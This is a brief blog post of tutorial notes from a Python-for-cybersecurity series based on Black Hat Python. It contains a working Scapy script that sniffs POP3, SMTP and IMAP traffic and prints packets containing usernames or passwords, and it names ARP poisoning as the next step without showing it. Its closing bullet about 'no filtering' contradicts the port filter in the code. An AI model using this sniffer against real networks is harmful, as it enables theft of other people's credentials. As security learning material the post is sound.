Sitemap
Yen Wang

Yen Wang

Curious mind. Interested in both creative and exploitative sides. More about me | https://www.yenwang.dev/

Python for Cybersecurity 30 — Scapy

1 min readSep 29, 2023

--

Sharpen Python skills in cybersecurity field.

Get Yen Wang’s stories in your inbox

Join Medium for free to get updates from this writer.

This series of tutorials is mainly to share the notes taken while I was learning python for cybersecurity with the books — Black Hat Python.

Press enter or click to view image in full size

There are some links in the section of References below.

Catalogue

  • Scapy

Scapy

  • Sniffing traffic to steal plaintext email credentials then ARP poisoning a target machine on the network so that we can sniff their traffic.
from scapy.all import sniff, TCP, IP

def packet_callback(packet):
if packet[TCP].payload:
mypacket = str(packet[TCP].payload)
if 'user' in mypacket.lower() or 'pass' in mypacket.lower():
print(f"[*] Destination: {packet[IP].dst}")
print(f"[*] {str(packet[TCP].payload)}")

def main():
sniff(filter='tcp port 110 or tcp port 25 or tcp port 143',
prn=packet_callback, store=0)

if __name__ == '__main__':
main()
  • Define the callback function that will receive each sniffed packet
  • Then tell Scapy to start sniffing on all interfaces with no filtering

Reference

Source Code

Github demo files | Paramiko

--

--